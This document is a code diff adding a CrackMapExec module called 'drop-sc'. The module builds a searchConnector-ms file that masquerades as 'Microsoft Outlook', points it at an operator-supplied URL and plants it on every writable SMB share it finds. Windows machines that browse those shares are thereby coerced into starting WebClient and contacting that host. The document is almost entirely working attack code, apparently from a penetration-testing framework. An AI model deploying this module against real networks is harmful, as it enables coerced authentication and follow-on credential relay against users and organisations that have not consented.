added drop-sc module

cme/modules/drop_searchConnector-ms.py

@@ -0,0 +1,80 @@
+import ntpath
+
+class CMEModule:
+    '''
+        Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
+        https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
+        Module by @zblurx
+    '''
+
+    name = 'drop-sc'
+    description = 'Drop a searchConnector-ms file on each writable share'
+    supported_protocols = ["smb"]
+    opsec_safe= False
+    multiple_hosts = True
+
+    def options(self, context, module_options):
+        '''
+            Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
+            https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
+            Module by @zblurx
+            URL         URL in the searchConnector-ms file, default https://rickroll
+            CLEANUP     Cleanup (choices: True or False)
+            SHARE       Specify a share to target
+            FILENAME    Specify the filename used WITHOUT the extension (it's automatically added). default is "Documents"
+        '''
+        self.cleanup = False
+        if 'CLEANUP' in module_options:
+            self.cleanup = bool(module_options['CLEANUP'])
+       
+        self.url = 'https://rickroll'
+        if 'URL' in module_options:
+            self.url = str(module_options['URL'])
+
+        self.sharename = ''
+        if 'SHARE' in module_options:
+            self.sharename = str(module_options['SHARE'])
+
+        self.filename = 'Documents'
+        if 'FILENAME' in module_options:
+            self.filename = str(module_options['FILENAME'])
+
+        self.file_path = ntpath.join('\\', '{}.searchConnector-ms'.format(self.filename))
+        if not self.cleanup:
+            self.scfile_path = '/tmp/{}.searchConnector-ms'.format(self.filename)
+            scfile = open(self.scfile_path, 'w')
+            scfile.truncate(0)
+            scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
+            scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
+            scfile.write('<description>Microsoft Outlook</description>')
+            scfile.write('<isSearchOnlyItem>false</isSearchOnlyItem>')
+            scfile.write('<includeInStartMenuScope>true</includeInStartMenuScope>')
+            scfile.write('<iconReference>{}/0001.ico</iconReference>'.format(self.url))
+            scfile.write('<templateInfo>')
+            scfile.write('<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>')
+            scfile.write('</templateInfo>')
+            scfile.write('<simpleLocation>')
+            scfile.write('<url>{}</url>'.format(self.url))
+            scfile.write('</simpleLocation>')
+            scfile.write('</searchConnectorDescription>')
+            scfile.close()
+
+    def on_login(self, context, connection):
+        shares = connection.shares()
+        for share in shares:
+            if 'WRITE' in share['access'] and (share['name'] == self.sharename if self.sharename != '' else share['name'] not in ['C$','ADMIN$']):
+                context.log.success('Found writable share: {}'.format(share['name']))
+                if not self.cleanup:
+                    with open(self.scfile_path, 'rb') as scfile:
+                        try:
+                            connection.conn.putFile(share['name'], self.file_path, scfile.read)
+                            context.log.success('Created {}.searchConnector-ms file on the {} share'.format(self.filename, share['name']))
+                        except Exception as e:
+                            context.log.error('Error writing {}.searchConnector-ms file on the {} share: {}'.format(self.filename, share['name'], e))
+                else:
+                    try:
+                        connection.conn.deleteFile(share['name'], self.file_path)
+                        context.log.success('Deleted {}.searchConnector-ms file on the {} share'.format(self.filename, share['name']))
+                    except Exception as e:
+                        context.log.error('Error deleting {}.searchConnector-ms file on share {}: {}'.format(self.filename, share['name'], e))
+